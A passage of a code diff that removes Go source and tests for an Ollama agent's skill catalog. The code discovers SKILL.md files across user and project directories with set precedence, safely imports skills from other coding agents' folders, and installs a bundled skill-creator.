-	if s.Path != "" {
-		dir := filepath.Dir(s.Path)
-		fmt.Fprintf(&b, "Skill directory: %s\n", dir)
-		b.WriteString("Relative paths in this skill are relative to the skill directory.\n")
-	}
-	if resources := s.resources(); len(resources) > 0 {
-		b.WriteString("<skill_resources>\n")
-		for _, r := range resources {
-			fmt.Fprintf(&b, "  <file>%s</file>\n", r)
-		}
-		b.WriteString("</skill_resources>\n")
-	}
-	b.WriteString("</skill>")
-	return b.String()
-}
-
-// resources lists bundled files one level deep under scripts/, references/,
-// and assets/ without reading them, so the model can load them on demand.
-func (s Skill) resources() []string {
-	if s.Path == "" {
-		return nil
-	}
-	dir := filepath.Dir(s.Path)
-	var resources []string
-	for _, sub := range []string{"scripts", "references", "assets"} {
-		entries, err := os.ReadDir(filepath.Join(dir, sub))
-		if err != nil {
-			continue
-		}
-		for _, e := range entries {
-			if e.IsDir() {
-				continue
-			}
-			resources = append(resources, sub+"/"+e.Name())
-		}
-	}
-	sort.Strings(resources)
-	return resources
-}
-
-// SkillCatalog contains valid skills and diagnostics for ignored invalid
-// entries, so one malformed skill cannot hide the rest.
-type SkillCatalog struct {
-	dir         string
-	skills      map[string]Skill
-	diagnostics []error
-}
-
-func DiscoverSkills(dir string) (*SkillCatalog, error) {
-	dir, err := filepath.Abs(strings.TrimSpace(dir))
-	if err != nil {
-		return nil, err
-	}
-	catalog := &SkillCatalog{dir: dir, skills: make(map[string]Skill)}
-	entries, err := os.ReadDir(dir)
-	if errors.Is(err, fs.ErrNotExist) {
-		return catalog, nil
-	}
-	if err != nil {
-		return nil, fmt.Errorf("read skills directory: %w", err)
-	}
-	for _, entry := range entries {
-		name := entry.Name()
-		// Follow symlinks so users can point at shared skill repositories.
-		// The link name (not the target) is the canonical skill name.
-		info, err := os.Stat(filepath.Join(dir, name))
-		if err != nil {
-			if errors.Is(err, fs.ErrNotExist) {
-				continue
-			}
-			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("skill %q: %w", name, err))
-			continue
-		}
-		if !info.IsDir() {
-			continue
-		}
-		if !skillName.MatchString(name) {
-			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("invalid skill directory %q", name))
-			continue
-		}
-		skill, err := parseSkill(filepath.Join(dir, name, skillFilename), name)
-		if errors.Is(err, fs.ErrNotExist) {
-			continue
-		}
-		if err != nil {
-			catalog.diagnostics = append(catalog.diagnostics, err)
-			continue
-		}
-		catalog.skills[skill.Name] = skill
-	}
-	return catalog, nil
-}
-
-// LoadDefaultSkills discovers skills from the spec's scopes, merged with
-// deterministic precedence. Roots are scanned lowest-precedence first so later
-// roots override earlier ones on name collisions (recording a diagnostic):
-//
-//  1. ~/.agents/skills/              (user, cross-client)
-//  2. user Ollama skills dir          (user, Ollama-owned; SkillsDir)
-//  3. <project>/.agents/skills/      (project, cross-client)
-//  4. <project>/.ollama/skills/      (project, Ollama-owned)
-//
-// Project-level overrides user-level, and within a scope Ollama-owned
-// directories override .agents/skills/. projectDir is the agent's working
-// directory at startup (discovery is a session-start snapshot per the spec).
-func LoadDefaultSkills(projectDir string) (*SkillCatalog, error) {
-	roots, err := defaultSkillRoots(projectDir)
-	if err != nil {
-		return nil, err
-	}
-	catalog := &SkillCatalog{skills: make(map[string]Skill)}
-	bundled, err := bundledSkillCreator()
-	if err != nil {
-		return nil, err
-	}
-	catalog.skills[bundled.Name] = bundled
-	if err := installBundledSkillCreator(); err != nil {
-		catalog.diagnostics = append(catalog.diagnostics, err)
-	}
-	for _, root := range roots {
-		sub, err := DiscoverSkills(root.path)
-		if err != nil {
-			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("discover skills in %s: %w", root.path, err))
-			continue
-		}
-		catalog.diagnostics = append(catalog.diagnostics, sub.diagnostics...)
-		for _, skill := range sub.skills {
-			// Name collisions across roots are expected precedence resolution,
-			// not errors: later (higher-precedence) roots legitimately override
-			// earlier ones. The skill is still loaded; no diagnostic needed.
-			catalog.skills[skill.Name] = skill
-		}
-	}
-	return catalog, nil
-}
-
-func bundledSkillCreator() (Skill, error) {
-	skill, err := parseSkillContent("", bundledSkillCreatorName, bundledSkillCreatorContent)
-	if err != nil {
-		return Skill{}, fmt.Errorf("load bundled %s skill: %w", bundledSkillCreatorName, err)
-	}
-	return skill, nil
-}
-
-func installBundledSkillCreator() error {
-	dir, err := SkillsDir()
-	if err != nil {
-		return fmt.Errorf("resolve bundled skill directory: %w", err)
-	}
-	path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
-	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
-		return fmt.Errorf("create bundled skill directory: %w", err)
-	}
-	contents, err := os.ReadFile(path)
-	if err == nil && string(contents) == bundledSkillCreatorContent {
-		return nil
-	}
-	if err != nil && !errors.Is(err, fs.ErrNotExist) {
-		return fmt.Errorf("read bundled skill: %w", err)
-	}
-	if err := os.WriteFile(path, []byte(bundledSkillCreatorContent), 0o644); err != nil {
-		return fmt.Errorf("write bundled skill: %w", err)
-	}
-	return nil
-}
-
-type skillRoot struct {
-	path string
-}
-
-// SkillImportResult describes one import attempt. Failed skills do not prevent
-// other valid skills in the same source root from being imported.
-type SkillImportResult struct {
-	Source      string
-	SourceDir   string
-	Destination string
-	Imported    []string
-	Existing    []string
-	Failures    []SkillImportFailure
-}
-
-// SkillImportFailure identifies a source skill that was deliberately skipped.
-// The destination is never changed for a failed skill.
-type SkillImportFailure struct {
-	Name string
-	Err  error
-}
-
-// ImportSkills imports skills from a conventional coding-agent source into the
-// canonical Ollama skills directory. Supported sources are codex, claude, and
-// pi. Existing skills are left untouched: an identical directory is reported
-// as existing, and a differing one is reported as a conflict.
-func ImportSkills(source string) (SkillImportResult, error) {
-	home, err := os.UserHomeDir()
-	if err != nil {
-		return SkillImportResult{}, fmt.Errorf("resolve home directory: %w", err)
-	}
-
-	destination, err := SkillsDir()
-	if err != nil {
-		return SkillImportResult{}, fmt.Errorf("resolve Ollama skills directory: %w", err)
-	}
-	return importSkillsFromRoots(source, conventionalSkillImportRoots(home), destination)
-}
-
-func conventionalSkillImportRoots(home string) map[string]string {
-	return map[string]string{
-		"codex":  filepath.Join(home, ".codex", "skills"),
-		"claude": filepath.Join(home, ".claude", "skills"),
-		"pi":     filepath.Join(home, ".pi", "agent", "skills"),
-	}
-}
-
-func importSkillsFromRoots(source string, roots map[string]string, destination string) (SkillImportResult, error) {
-	source = strings.ToLower(strings.TrimSpace(source))
-	sourceDir, ok := roots[source]
-	if !ok {
-		return SkillImportResult{}, fmt.Errorf("unknown skill source %q", source)
-	}
-	return importSkillsFromDir(source, sourceDir, destination)
-}
-
-func importSkillsFromDir(source, sourceDir, destination string) (SkillImportResult, error) {
-	result := SkillImportResult{Source: source, SourceDir: sourceDir, Destination: destination}
-	info, err := os.Lstat(sourceDir)
-	if errors.Is(err, fs.ErrNotExist) {
-		return result, nil
-	}
-	if err != nil {
-		return result, fmt.Errorf("inspect %s skills directory: %w", source, err)
-	}
-	if info.Mode()&os.ModeSymlink != 0 {
-		return result, fmt.Errorf("inspect %s skills directory: symlinks are not supported", source)
-	}
-	if !info.IsDir() {
-		return result, fmt.Errorf("inspect %s skills directory: not a directory", source)
-	}
-
-	entries, err := os.ReadDir(sourceDir)
-	if err != nil {
-		return result, fmt.Errorf("read %s skills directory: %w", source, err)
-	}
-	for _, entry := range entries {
-		name := entry.Name()
-		path := filepath.Join(sourceDir, name)
-		if entry.Type()&os.ModeSymlink != 0 {
-			result.Failures = append(result.Failures, SkillImportFailure{Name: name, Err: errors.New("symlinked skill directories are not supported")})
-			continue
-		}
-		info, err := entry.Info()
-		if err != nil {
-			result.Failures = append(result.Failures, SkillImportFailure{Name: name, Err: fmt.Errorf("inspect source: %w", err)})
-			continue
-		}
-		if !info.IsDir() {
-			continue
-		}
-		if !skillName.MatchString(name) {
-			result.Failures = append(result.Failures, SkillImportFailure{Name: name, Err: errors.New("invalid skill directory name")})
-			continue
-		}
-		if err := validateImportSkill(path, name); err != nil {
-			result.Failures = append(result.Failures, SkillImportFailure{Name: name, Err: err})
-			continue
-		}
-
-		state, err := importSkillDirectory(path, filepath.Join(destination, name))
-		if err != nil {
-			result.Failures = append(result.Failures, SkillImportFailure{Name: name, Err: err})
-			continue
-		}
-		if state == skillImportExisting {
-			result.Existing = append(result.Existing, name)
-		} else {
-			result.Imported = append(result.Imported, name)
-		}
-	}
-	return result, nil
-}
-
-func validateImportSkill(dir, name string) error {
-	manifest := filepath.Join(dir, skillFilename)
-	info, err := os.Lstat(manifest)
-	if err != nil {
-		return fmt.Errorf("inspect %s: %w", skillFilename, err)
-	}
-	if info.Mode()&os.ModeSymlink != 0 || !info.Mode().IsRegular() {
-		return fmt.Errorf("%s must be a regular, non-symlinked file", skillFilename)
-	}
-	if _, err := parseSkill(manifest, name); err != nil {
-		return err
-	}
-	return walkImportTree(dir, func(path string, entry fs.DirEntry, info fs.FileInfo) error {
-		if info.IsDir() || path == dir {
-			return nil
-		}
-		if !info.Mode().IsRegular() {
-			return fmt.Errorf("only regular files may be imported: %s", path)
-		}
-		file, err := os.Open(path)
-		if err != nil {
-			return fmt.Errorf("read %s: %w", path, err)
-		}
-		return file.Close()
-	})
-}
-
-func walkImportTree(root string, visit func(string, fs.DirEntry, fs.FileInfo) error) error {
-	return filepath.WalkDir(root, func(path string, entry fs.DirEntry, err error) error {
-		if err != nil {
-			return err
-		}
-		rel, err := filepath.Rel(root, path)
-		if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
-			return fmt.Errorf("unsafe skill path %q", path)
-		}
-		if entry.Type()&os.ModeSymlink != 0 {
-			return fmt.Errorf("symlinks may not be imported: %s", path)
-		}
-		info, err := entry.Info()
-		if err != nil {
-			return err
-		}
-		return visit(path, entry, info)
-	})
-}
-
-type skillImportState int
-
-const (
-	skillImportCopied skillImportState = iota
-	skillImportExisting
-)
-
-func importSkillDirectory(source, destination string) (skillImportState, error) {
-	if info, err := os.Lstat(destination); err == nil {
-		if info.Mode()&os.ModeSymlink != 0 || !info.IsDir() {
-			return 0, errors.New("destination exists but is not a regular directory")
-		}
-		same, err := sameImportTree(source, destination)
-		if err != nil {
-			return 0, fmt.Errorf("inspect existing destination: %w", err)
-		}
-		if same {
-			return skillImportExisting, nil
-		}
-		return 0, errors.New("destination skill already exists with different contents")
-	} else if !errors.Is(err, fs.ErrNotExist) {
-		return 0, fmt.Errorf("inspect destination: %w", err)
-	}
-
-	if err := ensureImportDestination(filepath.Dir(destination)); err != nil {
-		return 0, err
-	}
-	stage, err := os.MkdirTemp(filepath.Dir(destination), "."+filepath.Base(destination)+".import-")
-	if err != nil {
-		return 0, fmt.Errorf("create import staging directory: %w", err)
-	}
-	defer os.RemoveAll(stage)
-	if err := copyImportTree(source, stage); err != nil {
-		return 0, err
-	}
-	if _, err := os.Lstat(destination); err == nil {
-		return 0, errors.New("destination skill was created during import")
-	} else if !errors.Is(err, fs.ErrNotExist) {
-		return 0, fmt.Errorf("inspect destination before install: %w", err)
-	}
-	if err := os.Rename(stage, destination); err != nil {
-		return 0, fmt.Errorf("install imported skill: %w", err)
-	}
-	return skillImportCopied, nil
-}
-
-func ensureImportDestination(dir string) error {
-	if err := os.MkdirAll(dir, 0o755); err != nil {
-		return fmt.Errorf("create Ollama skills directory: %w", err)
-	}
-	info, err := os.Lstat(dir)
-	if err != nil {
-		return fmt.Errorf("inspect Ollama skills directory: %w", err)
-	}
-	if info.Mode()&os.ModeSymlink != 0 || !info.IsDir() {
-		return errors.New("Ollama skills directory must be a regular, non-symlinked directory")
-	}
-	return nil
-}
-
-func copyImportTree(source, destination string) error {
-	return walkImportTree(source, func(path string, entry fs.DirEntry, info fs.FileInfo) error {
-		rel, err := filepath.Rel(source, path)
-		if err != nil {
-			return err
-		}
-		target := destination
-		if rel != "." {
-			target = filepath.Join(destination, rel)
-		}
-		if info.IsDir() {
-			if rel == "." {
-				return nil
-			}
-			return os.Mkdir(target, info.Mode().Perm())
-		}
-		if !info.Mode().IsRegular() {
-			return fmt.Errorf("only regular files may be imported: %s", path)
-		}
-		return copyImportFile(path, target, info.Mode().Perm())
-	})
-}
-
-func copyImportFile(source, destination string, mode fs.FileMode) error {
-	in, err := os.Open(source)
-	if err != nil {
-		return fmt.Errorf("read %s: %w", source, err)
-	}
-	defer in.Close()
-	out, err := os.OpenFile(destination, os.O_WRONLY|os.O_CREATE|os.O_EXCL, mode)
-	if err != nil {
-		return fmt.Errorf("create %s: %w", destination, err)
-	}
-	_, copyErr := io.Copy(out, in)
-	closeErr := out.Close()
-	if copyErr != nil {
-		return fmt.Errorf("copy %s: %w", source, copyErr)
-	}
-	if closeErr != nil {
-		return fmt.Errorf("write %s: %w", destination, closeErr)
-	}
-	return nil
-}
-
-func sameImportTree(source, destination string) (bool, error) {
-	seen := make(map[string]struct{})
-	same := true
-	err := walkImportTree(source, func(path string, entry fs.DirEntry, info fs.FileInfo) error {
-		rel, err := filepath.Rel(source, path)
-		if err != nil {
-			return err
-		}
-		seen[rel] = struct{}{}
-		other := destination
-		if rel != "." {
-			other = filepath.Join(destination, rel)
-		}
-		otherInfo, err := os.Lstat(other)
-		if errors.Is(err, fs.ErrNotExist) {
-			same = false
-			return nil
-		}
-		if err != nil {
-			return err
-		}
-		if otherInfo.Mode()&os.ModeSymlink != 0 || otherInfo.IsDir() != info.IsDir() || (!info.IsDir() && !otherInfo.Mode().IsRegular()) {
-			same = false
-			return nil
-		}
-		if info.Mode().IsRegular() {
-			equal, err := sameImportFile(path, other)
-			if err != nil {
-				return err
-			}
-			if !equal {
-				same = false
-			}
-		}
-		return nil
-	})
-	if err != nil || !same {
-		return same, err
-	}
-	err = walkImportTree(destination, func(path string, entry fs.DirEntry, info fs.FileInfo) error {
-		rel, err := filepath.Rel(destination, path)
-		if err != nil {
-			return err
-		}
-		if _, ok := seen[rel]; !ok {
-			same = false
-		}
-		return nil
-	})
-	return same, err
-}
-
-func sameImportFile(first, second string) (bool, error) {
-	a, err := os.Open(first)
-	if err != nil {
-		return false, err
-	}
-	defer a.Close()
-	b, err := os.Open(second)
-	if err != nil {
-		return false, err
-	}
-	defer b.Close()
-
-	left := make([]byte, 32*1024)
-	right := make([]byte, len(left))
-	for {
-		n, errA := a.Read(left)
-		m, errB := b.Read(right)
-		if n != m || !bytes.Equal(left[:n], right[:m]) {
-			return false, nil
-		}
-		if errA == io.EOF && errB == io.EOF {
-			return true, nil
-		}
-		if errA != nil && errA != io.EOF {
-			return false, errA
-		}
-		if errB != nil && errB != io.EOF {
-			return false, errB
-		}
-		if errA == io.EOF || errB == io.EOF {
-			return false, nil
-		}
-	}
-}
-
-// defaultSkillRoots returns skill directories ordered lowest- to
-// highest-precedence. Non-existent directories are scanned harmlessly
-// (DiscoverSkills skips them).
-func defaultSkillRoots(projectDir string) ([]skillRoot, error) {
-	var roots []skillRoot
-
-	if home, err := os.UserHomeDir(); err == nil && home != "" {
-		roots = append(roots, skillRoot{path: filepath.Join(home, ".agents", "skills")})
-	}
-
-	userOllama, err := SkillsDir()
-	if err != nil {
-		return nil, err
-	}
-	roots = append(roots, skillRoot{path: userOllama})
-
-	projectDir = strings.TrimSpace(projectDir)
-	if projectDir != "" {
-		if abs, err := filepath.Abs(projectDir); err == nil {
-			roots = append(roots,
-				skillRoot{path: filepath.Join(abs, ".agents", "skills")},
-				skillRoot{path: filepath.Join(abs, ".ollama", "skills")},
-			)
-		}
-	}
-	return roots, nil
-}
-
-func (c *SkillCatalog) Dir() string {
-	if c == nil {
-		return ""
-	}
-	return c.dir
-}
-
-func (c *SkillCatalog) List() []Skill {
-	if c == nil {
-		return nil
-	}
-	list := make([]Skill, 0, len(c.skills))
-	for _, skill := range c.skills {
-		list = append(list, skill)
-	}
-	sort.Slice(list, func(i, j int) bool { return list[i].Name < list[j].Name })
-	return list
-}
-
-func (c *SkillCatalog) Diagnostics() []error {
-	if c == nil {
-		return nil
-	}
-	return append([]error(nil), c.diagnostics...)
-}
-
-// ExcludeNames removes skills whose names are reserved by a caller. It returns
-// the excluded names in sorted order.
-func (c *SkillCatalog) ExcludeNames(names []string) []string {
-	if c == nil {
-		return nil
-	}
-	reserved := make(map[string]struct{}, len(names))
-	for _, name := range names {
-		name = strings.TrimPrefix(strings.ToLower(strings.TrimSpace(name)), "/")
-		if name != "" {
-			reserved[name] = struct{}{}
-		}
-	}
-	var excluded []string
-	for name := range c.skills {
-		if _, ok := reserved[name]; !ok {
-			continue
-		}
-		delete(c.skills, name)
-		excluded = append(excluded, name)
-	}
-	sort.Strings(excluded)
-	return excluded
-}
-
-func (c *SkillCatalog) Load(name string) (Skill, error) {
-	name = strings.TrimSpace(name)
-	if !skillName.MatchString(name) {
-		return Skill{}, fmt.Errorf("invalid skill name %q", name)
-	}
-	if c == nil {
-		return Skill{}, errors.New("skills are unavailable")
-	}
-	skill, ok := c.skills[name]
-	if !ok {
-		return Skill{}, fmt.Errorf("skill %q not found in %s", name, c.dir)
-	}
-	return skill, nil
-}
-
-// SystemContext advertises the catalog without expanding full instructions in
-// every request. The skill call is the explicit loading boundary.
-func (c *SkillCatalog) SystemContext() string {
-	list := c.List()
-	if len(list) == 0 {
-		return ""
-	}
-	lines := []string{"<available_skills>"}
-	for _, skill := range list {
-		description := skill.Description
-		if description == "" {
-			description = "No description provided."
-		}
-		lines = append(lines, fmt.Sprintf("- %s: %s", skill.Name, description))
-	}
-	lines = append(lines, "</available_skills>", "Load a matching skill with the skill tool before following its instructions. Skills only provide instructions; use ordinary tools for filesystem or network access, with their normal approval rules.")
-	return strings.Join(lines, "\n")
-}
-
-func parseSkill(path, directoryName string) (Skill, error) {
-	// Stat (not Lstat) so a symlinked SKILL.md resolves to its target file.
-	info, err := os.Stat(path)
-	if err != nil {
-		return Skill{}, err
-	}
-	if !info.Mode().IsRegular() {
-		return Skill{}, fmt.Errorf("skill %q: %s is not a regular file", directoryName, skillFilename)
-	}
-	if info.Size() > maxSkillBytes {
-		return Skill{}, fmt.Errorf("skill %q: %s exceeds %d bytes", directoryName, skillFilename, maxSkillBytes)
-	}
-	data, err := os.ReadFile(path)
-	if err != nil {
-		return Skill{}, fmt.Errorf("read skill %q: %w", directoryName, err)
-	}
-	return parseSkillContent(path, directoryName, string(data))
-}
-
-func parseSkillContent(path, directoryName, input string) (Skill, error) {
-	instructions := strings.TrimSpace(input)
-	if instructions == "" {
-		return Skill{}, fmt.Errorf("skill %q: %s is empty", directoryName, skillFilename)
-	}
-	if !strings.HasPrefix(instructions, "---\n") && !strings.HasPrefix(instructions, "---\r\n") {
-		return Skill{}, fmt.Errorf("skill %q: missing YAML front matter", directoryName)
-	}
-	metadata, body, err := skillFrontMatter(instructions)
-	if err != nil {
-		return Skill{}, fmt.Errorf("skill %q: %w", directoryName, err)
-	}
-	if metadata.Name == "" {
-		return Skill{}, fmt.Errorf("skill %q: front matter requires name", directoryName)
-	}
-	if metadata.Description == "" {
-		return Skill{}, fmt.Errorf("skill %q: front matter requires description", directoryName)
-	}
-	if !skillName.MatchString(metadata.Name) {
-		return Skill{}, fmt.Errorf("skill %q: invalid front matter name %q", directoryName, metadata.Name)
-	}
-	if metadata.Name != directoryName {
-		return Skill{}, fmt.Errorf("skill %q: front matter name %q must match directory name", directoryName, metadata.Name)
-	}
-	skill := Skill{Name: metadata.Name, Description: metadata.Description, Path: path}
-	instructions = body
-	if strings.TrimSpace(instructions) == "" {
-		return Skill{}, fmt.Errorf("skill %q: instructions are empty", directoryName)
-	}
-	skill.Instructions = strings.TrimSpace(instructions)
-	return skill, nil
-}
-
-type skillFrontMatterMetadata struct {
-	Name        string         `yaml:"name"`
-	Description string         `yaml:"description"`
-	Metadata    map[string]any `yaml:"metadata"`
-}
-
-func skillFrontMatter(input string) (skillFrontMatterMetadata, string, error) {
-	input = strings.ReplaceAll(input, "\r\n", "\n")
-	lines := strings.Split(input, "\n")
-	if len(lines) < 3 || lines[0] != "---" {
-		return skillFrontMatterMetadata{}, "", errors.New("invalid front matter")
-	}
-	for i := 1; i < len(lines); i++ {
-		if lines[i] == "---" {
-			var metadata skillFrontMatterMetadata
-			if err := yaml.Unmarshal([]byte(strings.Join(lines[1:i], "\n")), &metadata); err != nil {
-				return skillFrontMatterMetadata{}, "", fmt.Errorf("parse YAML front matter: %w", err)
-			}
-			metadata.Name = strings.TrimSpace(metadata.Name)
-			metadata.Description = strings.TrimSpace(metadata.Description)
-			return metadata, strings.Join(lines[i+1:], "\n"), nil
-		}
-	}
-	return skillFrontMatterMetadata{}, "", errors.New("front matter is not closed")
-}

agent/skills_test.go

@@ -1,516 +0,0 @@
-package agent
-
-import (
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-)
-
-func writeCatalogSkill(t *testing.T, dir, name, content string) {
-	t.Helper()
-	path := filepath.Join(dir, name)
-	if err := os.MkdirAll(path, 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if !strings.HasPrefix(content, "---") {
-		content = "---\nname: " + name + "\ndescription: Test skill.\n---\n" + content
-	}
-	if err := os.WriteFile(filepath.Join(path, skillFilename), []byte(content), 0o644); err != nil {
-		t.Fatal(err)
-	}
-}
-
-func writeImportFixtureSkill(t *testing.T, dir string) {
-	t.Helper()
-	contents, err := os.ReadFile(filepath.Join("testdata", "import", "release-notes", skillFilename))
-	if err != nil {
-		t.Fatal(err)
-	}
-	path := filepath.Join(dir, "release-notes", skillFilename)
-	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(path, contents, 0o644); err != nil {
-		t.Fatal(err)
-	}
-}
-
-func TestDiscoverAndLoadSkills(t *testing.T) {
-	dir := t.TempDir()
-	writeCatalogSkill(t, dir, "release-notes", "---\nname: release-notes\ndescription: Draft concise release notes.\nmetadata:\n  author: Ollama\n  labels:\n    - release\n    - docs\n---\n# Release notes\n\nUse short bullets.")
-	catalog, err := DiscoverSkills(dir)
-	if err != nil {
-		t.Fatal(err)
-	}
-	list := catalog.List()
-	if len(list) != 1 || list[0].Name != "release-notes" || list[0].Description != "Draft concise release notes." {
-		t.Fatalf("skills = %#v", list)
-	}
-	skill, err := catalog.Load("release-notes")
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !strings.Contains(skill.Content(), `<skill name="release-notes">`) || !strings.Contains(skill.Content(), "Use short bullets.") {
-		t.Fatalf("skill content = %q", skill.Content())
-	}
-	if context := catalog.SystemContext(); !strings.Contains(context, "release-notes: Draft concise release notes.") || !strings.Contains(context, "normal approval rules") {
-		t.Fatalf("system context = %q", context)
-	}
-}
-
-func TestDiscoverSkillsSkipsMalformedEntries(t *testing.T) {
-	dir := t.TempDir()
-	writeCatalogSkill(t, dir, "valid", "do the useful thing")
-	writeCatalogSkill(t, dir, "mismatched", "---\nname: whatever\ndescription: wrong name\n---\nbody")
-	// Genuinely malformed front matter (a line without a key:value pair) is still rejected.
-	writeCatalogSkill(t, dir, "broken", "---\nname: broken\ndescription\n---\nnope")
-	writeCatalogSkill(t, dir, "missing-name", "---\ndescription: missing name\n---\nbody")
-	writeCatalogSkill(t, dir, "missing-description", "---\nname: missing-description\n---\nbody")
-	writeCatalogSkill(t, dir, "bad-name", "---\nname: bad_name\ndescription: invalid name\n---\nbody")
-	writeCatalogSkill(t, dir, "under_score", "---\nname: under_score\ndescription: invalid directory\n---\nbody")
-	if err := os.MkdirAll(filepath.Join(dir, "no-front-matter"), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(dir, "no-front-matter", skillFilename), []byte("body"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	catalog, err := DiscoverSkills(dir)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if got, want := len(catalog.List()), 1; got != want {
-		t.Fatalf("valid skills = %d, want %d", got, want)
-	}
-	if got, want := len(catalog.Diagnostics()), 7; got != want {
-		t.Fatalf("diagnostics = %d, want %d: %#v", got, want, catalog.Diagnostics())
-	}
-	if _, err := catalog.Load("broken"); err == nil || !strings.Contains(err.Error(), "not found") {
-		t.Fatalf("load broken error = %v", err)
-	}
-	if _, err := catalog.Load("../valid"); err == nil || !strings.Contains(err.Error(), "invalid skill name") {
-		t.Fatalf("unsafe name error = %v", err)
-	}
-}
-
-func TestDiscoverSkillsFollowsSymlinks(t *testing.T) {
-	dir := t.TempDir()
-	target := t.TempDir()
-	writeCatalogSkill(t, target, "shared", "---\nname: shared\ndescription: From a linked repo.\n---\nshared instructions")
-	if err := os.Symlink(filepath.Join(target, "shared"), filepath.Join(dir, "shared")); err != nil {
-		t.Skipf("symlink not supported: %v", err)
-	}
-	catalog, err := DiscoverSkills(dir)
-	if err != nil {
-		t.Fatal(err)
-	}
-	list := catalog.List()
-	if len(list) != 1 || list[0].Name != "shared" || list[0].Description != "From a linked repo." {
-		t.Fatalf("symlinked skills = %#v", list)
-	}
-	if !strings.Contains(list[0].Content(), "shared instructions") {
-		t.Fatalf("symlinked skill content = %q", list[0].Content())
-	}
-}
-
-func TestLoadDefaultSkillsContinuesAfterBadRoot(t *testing.T) {
-	home := t.TempDir()
-	t.Setenv("HOME", home)
-	t.Setenv("USERPROFILE", home)
-	project := t.TempDir()
-	writeCatalogSkill(t, filepath.Join(project, ".ollama", "skills"), "release-notes", "project instructions")
-
-	badRoot := filepath.Join(t.TempDir(), "not-a-directory")
-	if err := os.WriteFile(badRoot, []byte("not a directory"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	t.Setenv(SkillsDirEnv, badRoot)
-
-	catalog, err := LoadDefaultSkills(project)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if _, err := catalog.Load("release-notes"); err != nil {
-		t.Fatalf("valid skill was hidden by bad root: %v", err)
-	}
-	if _, err := catalog.Load(bundledSkillCreatorName); err != nil {
-		t.Fatalf("bundled skill was hidden by bad root: %v", err)
-	}
-	var foundDiagnostic bool
-	for _, diagnostic := range catalog.Diagnostics() {
-		if strings.Contains(diagnostic.Error(), badRoot) {
-			foundDiagnostic = true
-			break
-		}
-	}
-	if !foundDiagnostic {
-		t.Fatalf("diagnostics = %#v, want bad root %q", catalog.Diagnostics(), badRoot)
-	}
-}
-
-func TestLoadDefaultSkillsInstallsBundledSkillCreator(t *testing.T) {
-	dir := t.TempDir()
-	t.Setenv(SkillsDirEnv, dir)
-
-	catalog, err := LoadDefaultSkills("")
-	if err != nil {
-		t.Fatal(err)
-	}
-	skill, err := catalog.Load(bundledSkillCreatorName)
-	if err != nil {
-		t.Fatal(err)
-	}
-	path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
-	contents, err := os.ReadFile(path)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(contents) != bundledSkillCreatorContent {
-		t.Fatalf("installed skill = %q, want bundled contents", contents)
-	}
-	if skill.Path != path {
-		t.Fatalf("skill path = %q, want %q", skill.Path, path)
-	}
-	if !strings.Contains(skill.Content(), "Skill directory: "+filepath.Dir(path)) {
-		t.Fatalf("skill content does not identify its directory: %q", skill.Content())
-	}
-}
-
-func TestLoadDefaultSkillsUpdatesExistingSkillCreator(t *testing.T) {
-	dir := t.TempDir()
-	t.Setenv(SkillsDirEnv, dir)
-	writeCatalogSkill(t, dir, bundledSkillCreatorName, "custom instructions")
-
-	if _, err := LoadDefaultSkills(""); err != nil {
-		t.Fatal(err)
-	}
-	contents, err := os.ReadFile(filepath.Join(dir, bundledSkillCreatorName, skillFilename))
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(contents) != bundledSkillCreatorContent {
-		t.Fatalf("installed skill = %q, want bundled contents", contents)
-	}
-}
-
-func TestSkillsDirUsesOverrideAndXDG(t *testing.T) {
-	base := t.TempDir()
-
-	override := filepath.Join(base, "skills-override")
-	t.Setenv(SkillsDirEnv, override)
-	got, err := SkillsDir()
-	if err != nil {
-		t.Fatal(err)
-	}
-	want, err := filepath.Abs(override)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if got != want {
-		t.Fatalf("SkillsDir override = %q, want %q", got, want)
-	}
-
-	t.Setenv(SkillsDirEnv, "")
-	xdg := filepath.Join(base, "xdg")
-	t.Setenv("XDG_CONFIG_HOME", xdg)
-	if got, err := SkillsDir(); err != nil || got != filepath.Join(xdg, "ollama", "skills") {
-		t.Fatalf("SkillsDir xdg = %q, want %q, %v", got, filepath.Join(xdg, "ollama", "skills"), err)
-	}
-
-	t.Setenv("XDG_CONFIG_HOME", "")
-	home := filepath.Join(base, "home")
-	t.Setenv("HOME", home)
-	t.Setenv("USERPROFILE", home)
-	if got, err := SkillsDir(); err != nil || got != filepath.Join(home, ".ollama", "skills") {
-		t.Fatalf("SkillsDir default = %q, want %q, %v", got, filepath.Join(home, ".ollama", "skills"), err)
-	}
-}
-
-func TestLoadDefaultSkillsPrecedenceAndCollisions(t *testing.T) {
-	home := t.TempDir()
-	t.Setenv("HOME", home)
-	t.Setenv("USERPROFILE", home) // Windows: os.UserHomeDir uses %USERPROFILE%
-
-	userOllama := t.TempDir()
-	t.Setenv(SkillsDirEnv, userOllama)
-
-	userAgents := filepath.Join(home, ".agents", "skills")
-	project := t.TempDir()
-	projectAgents := filepath.Join(project, ".agents", "skills")
-	projectOllama := filepath.Join(project, ".ollama", "skills")
-
-	// release-notes exists in all four roots; project ollama must win.
-	writeCatalogSkill(t, userAgents, "release-notes", "from user agents")
-	writeCatalogSkill(t, userOllama, "release-notes", "from user ollama")
-	writeCatalogSkill(t, projectOllama, "release-notes", "from project ollama")
-	// code-review exists in both project roots; project ollama beats project agents.
-	writeCatalogSkill(t, projectAgents, "code-review", "from project agents")
-	writeCatalogSkill(t, projectOllama, "code-review", "from project ollama")
-	// unique appears only in user ollama (via env override).
